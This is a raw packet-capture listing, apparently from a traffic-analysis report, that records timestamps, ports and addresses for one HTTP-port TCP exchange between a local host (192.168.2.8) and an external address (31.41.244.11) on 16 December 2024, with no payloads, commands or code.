Dec 16, 2024 13:16:23.692917109 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.692928076 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.692982912 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.693932056 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.694056034 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.694184065 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.694217920 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.695005894 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.695017099 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.695041895 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.695060015 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.696054935 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.696090937 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.696162939 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.696193933 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.697132111 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.697170973 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.697240114 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.697272062 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.698235989 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.698246956 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.698281050 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.699261904 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.699373960 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.699415922 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.700387955 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.700400114 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.700438976 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.701488018 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.701499939 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.701540947 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.702502012 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.702512980 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.702549934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.703614950 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.703625917 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.703669071 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.703696966 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.704509974 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.704547882 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.704643011 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.704675913 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.706049919 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.710063934 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.841579914 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.841600895 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.841648102 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.841696978 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.841789007 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.842009068 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.842053890 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.842380047 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.842977047 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.842991114 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.843024969 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.843044043 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.844012022 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.844057083 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.844132900 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.844183922 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.845026970 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.845076084 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.845097065 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.845132113 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.846060038 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.846118927 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.846153021 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.846210003 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.847135067 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.847183943 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.847271919 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.847304106 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.848197937 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.848247051 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.848288059 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.848392010 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.849252939 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.849297047 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.849360943 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.849407911 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.850387096 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.850409031 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.850433111 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.850451946 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.851444960 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.851488113 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.851583004 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.851618052 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.852461100 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.852534056 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.852571011 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.852602959 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.853535891 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.853579044 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.853590012 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.853615046 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.854698896 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.854743004 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.854811907 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.854850054 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.855669022 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.855710030 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.855752945 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.855798006 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.856746912 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.856786966 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.856823921 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.856857061 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.857872963 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.857963085 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.857969999 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.858000994 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.858890057 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.858942986 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.858979940 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.859080076 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.859976053 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.860048056 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.860090971 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.860146046 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.861004114 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.861057043 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.861119986 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.861156940 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.862080097 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.862118006 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.862217903 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.862255096 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.863135099 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.863176107 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.863245010 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.863279104 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.864202023 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.864236116 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.864295959 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.864334106 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.865417957 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.865468025 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.865504026 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.865545034 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.866380930 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.866391897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.866441011 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.867439032 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.867480040 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.867522955 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.867562056 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.868755102 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.868822098 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.868855953 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.868911982 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.869905949 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.869946003 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.870035887 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.870110989 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.870803118 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.870851994 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.870908022 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.870963097 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.871692896 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.871763945 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.871848106 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.871949911 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.872771978 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.872824907 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.872874022 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.872910023 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.873815060 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.873866081 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.873931885 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.873989105 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.874900103 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.874939919 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.875010967 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.875049114 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.875972033 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.876014948 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.876030922 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.876068115 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.877024889 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.877094984 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.877136946 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.877171993 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.878110886 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.878151894 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.878186941 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.879215002 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.879257917 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.879317045 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.880270004 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.880312920 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.880410910 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.880455017 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.881341934 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.881401062 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.881433010 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.881779909 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.882395983 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.882499933 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.882561922 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.883423090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.883538961 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.883585930 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.884532928 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.884572983 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.884711981 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.884747028 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.885595083 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.885643005 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.885704994 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.885737896 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.886656046 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.886761904 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.886802912 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.887736082 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.887797117 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.887850046 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.888042927 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.888803959 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.888844967 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.888914108 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.888957977 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.889870882 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.889950037 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.889992952 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.890038967 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.890950918 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.891002893 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.891104937 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.891172886 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.892004967 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.892060041 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.892158031 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.892209053 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.893076897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.893127918 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.893172979 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.893208027 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.894145012 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.894285917 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.894326925 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.895272970 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.895323038 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.895404100 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.895617962 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.896274090 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.896325111 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.896378994 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.896451950 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:23.897624016 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:23.897666931 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.033000946 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.033070087 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.033111095 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.033154964 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.033581972 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.033627987 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.033699036 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.033746958 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.034929991 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.034974098 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.035021067 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.035063982 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.035868883 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.035916090 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.035959959 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.036003113 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.036684036 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.036726952 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.036735058 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.036771059 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.037616968 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.037662983 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.037702084 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.037744999 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.038697958 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.038742065 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.038788080 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.038839102 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.039756060 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.039799929 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.039836884 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.039879084 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.040822029 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.040863991 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.040936947 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.040977955 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.041889906 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.041938066 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.041959047 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.042006016 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.042984962 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.043031931 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.043078899 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.043117046 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.044013977 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.044064045 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.044110060 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.044153929 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.045109987 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.045155048 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.045234919 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.045270920 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.046159983 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.046200037 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.046237946 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.046277046 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.047228098 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.047270060 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.047318935 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.047357082 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.048320055 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.048362017 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.048432112 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.048470020 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.049360991 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.049401999 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.049463034 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.049498081 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.050545931 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.050559044 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.050592899 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.051503897 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.051548004 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.051568031 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.051618099 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.052587032 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.052644014 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.052798986 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.052839994 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.053772926 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.053817987 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.053885937 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.053924084 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.054723024 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.054764032 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.054862022 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.054896116 CET	49724	80	192.168.2.8	31.41.244.11
Dec 16, 2024 13:16:24.055799961 CET	80	49724	31.41.244.11	192.168.2.8
Dec 16, 2024 13:16:24.055850983 CET	49724	80	192.168.2.8	31.41.244.11
